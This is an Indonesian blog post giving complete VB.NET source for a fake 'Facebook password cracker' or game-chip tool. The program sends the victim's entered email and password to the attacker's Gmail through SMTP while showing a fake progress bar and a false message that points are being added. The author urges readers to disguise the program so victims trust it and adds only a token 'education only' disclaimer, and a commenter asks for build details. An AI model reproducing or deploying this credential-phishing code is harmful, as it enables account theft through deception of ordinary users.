Senin, 06 Juni 2011

pising tipuan

Oya, sekedar mengingatkan nih... Masih ingatkan ama Zynga Poker Chips Duplicator itu? Sempat juga aya ketipu kirain software beneran. Ternyata software palsu, niatnya pengen untung malah jadi buntung... Masih ingetkan ama artikel saya yang berjudul zynga poker chips duplicator 100% Works??.
Disana saya pernah menjanjikan akan memberikan tutorial cara membuatnya... Baru kesampean deh janji saya pada hari ini.
Kita akan membuat software yang seolah-olah bisa ngecrack password facebook orang lain dengan memasukkan email dan password sendiri. Padahal email 'n passwordnya bakalan terkirim ke email kita... hiks hiks... ini nih namanya menipu penjahat.


Berikut Source Codenya dikasi sama sobat aya.... Gifar Ucul dari echo
Imports System.Security.Cryptography
Imports System.Text
Imports System.Net.Mail

Public Class Form1
Dim MyProgress As Integer

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Me.Close()
Else
End If
End If
Dim username As String = "GMAIL"
Dim password As String = "PASSWORD"
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(GetDecryptedData("GMAIL"))
MyMailMessage.To.Add(GetDecryptedData("GMAIL"))
MyMailMessage.Subject = "facebook"
MyMailMessage.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(GetDecryptedData("GMAIL"), GetDecryptedData("PASSWORD"))
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
ProgressBar1.Style = ProgressBarStyle.Blocks
ProgressBar1.Step = 1
Timer1.Enabled = True
Call MsgBox("Points are being added to your account, once complete you can exit. Please allow up to 48 houre for the points to be added.")
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = MyProgress
If MyProgress < 100 Then MyProgress = MyProgress + 1
Label3.Text = "Adding Points " & MyProgress & "%"
If MyProgress = 100 Then
Label3.Text = "Complete"
ProgressBar1.Visible = True
End If

End Sub

End Class

Silahkan Copy Paste di VB.net 2008. Yang belum punya dowload dulu gih "visual basic 2008 express edition" di microsoft. Gratis kok. Kalo mau belajar harus banyak usaha kan... Jangan langsung disuapin aja.. bener gak... hiks hiks

Berikut Screen Shootnya (From Gifar) kalau udah di build..

Bisa juga kayak gini

Tergantung kreatifitas teman-teman aja mau bikin yang kayak gimana biar korban percaya... Misalnya Software anda dikatakan sebagai software yang fungsi nya buat mesaage auto wall auto add auto kan percaya tuh kalau password mesti dimasukin....

Oya, ini kata pamungkasnya...
Semua yang saya kasih ini hanya sebagai edukasi buat teman-teman yang lagi belajar. Jangan disalahgunakan okey... :-)

1 komentar:

  1. mana screen shotnya bang....butuh command berapa label berapa text box berapa

    BalasHapus